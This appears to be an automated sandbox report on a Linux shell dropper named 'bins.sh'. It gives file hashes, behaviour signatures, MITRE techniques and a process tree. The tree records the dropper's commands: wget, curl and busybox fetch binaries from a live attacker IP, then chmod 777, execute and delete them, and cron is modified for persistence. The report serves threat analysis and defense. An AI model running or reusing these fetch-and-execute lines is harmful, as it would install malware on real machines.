Analysis
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max time kernel
150s -
max time network
175s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
26/11/2024, 12:12
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
fc41e96c416e7e08c67b3b8a90dc5281
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SHA1
2e32b0e3f9f7b76565855b1b51caefe1b5baa43f
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SHA256
ad854bdbc344eddc4f97eb6ac8e45f35db706a8341b459c89579ca05515c23c6
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SHA512
593594493042937480a0f6493a50e4eb6b6b307fd8fff7d371d1ad001146e5c771aed934cffb0693193e1bc35c691c926fd4d42edb4a3d4fccdd274ad1c0ee77
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SSDEEP
192:1x9NM03//ciijgqZ/XlZ/Xlii/ox9NM0t:1x9NM03//ciijgYriiQx9NM0t
Malware Config
Signatures
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Contacts a large (2047) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 698 chmod 753 chmod -
Executes dropped EXE 2 IoCs
ioc pid Process /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04 700 AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04 /tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET 755 dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET -
Renames itself 1 IoCs
pid Process 756 dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.P2Ndbc crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 2 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/284/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/804/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/307/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/790/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/862/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/3/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/941/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/965/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/104/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/832/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/919/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/818/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/840/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/871/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/27/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/138/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/782/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/808/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/881/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/834/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/889/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/923/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/4/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/26/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/784/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/792/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/22/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/823/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/self/auxv curl File opened for reading /proc/831/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/843/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/895/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/920/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/946/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/305/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/653/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/777/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/788/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/867/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/921/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/940/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/943/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/142/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/585/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/596/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/787/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/217/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/812/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/648/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/842/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/956/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/649/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/845/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/14/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/802/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/899/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/933/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/778/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/844/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/849/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/902/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/814/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/873/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET File opened for reading /proc/271/cmdline dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET -
Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04 curl File opened for modification /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04 busybox File opened for modification /tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET wget File opened for modification /tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET curl File opened for modification /tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET busybox File opened for modification /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04 wget
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:650
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/bin/rm/bin/rm bins.sh2⤵PID:652
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/usr/bin/wgetwget http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR042⤵
- Writes file to tmp directory
PID:657
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/usr/bin/curlcurl -O http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR042⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:678
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR042⤵
- Writes file to tmp directory
PID:687
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/bin/chmodchmod 777 AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR042⤵
- File and Directory Permissions Modification
PID:698
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/tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04./AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR042⤵
- Executes dropped EXE
PID:700
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/bin/rmrm AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR042⤵PID:702
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/usr/bin/wgetwget http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET2⤵
- Writes file to tmp directory
PID:703
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/usr/bin/curlcurl -O http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:716
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET2⤵
- Writes file to tmp directory
PID:747
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/bin/chmodchmod 777 dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET2⤵
- File and Directory Permissions Modification
PID:753
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/tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET./dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:755 -
/bin/shsh -c "crontab -l"3⤵PID:757
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/usr/bin/crontabcrontab -l4⤵PID:758
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/bin/shsh -c "crontab -"3⤵PID:760
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:761
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/bin/rmrm dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET2⤵PID:773
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/usr/bin/wgetwget http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx2⤵PID:776
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
210B
MD5cdebd133bca9c7558b2a67249adbd9b6
SHA1bacd191908d0bac00096e43c44f2041fded61b4a
SHA2562ac4a27425704e40750ad9d7d4af11f94ca4225e395a954ec96d78c9844bdc56
SHA512a85e5409c635a775db4486fc70295637a52f30de6a02013106983fbd76fd6de70a32da9636a2b82caf821b38ff380ba233ecb178dd119ddc52953c71d8aa445f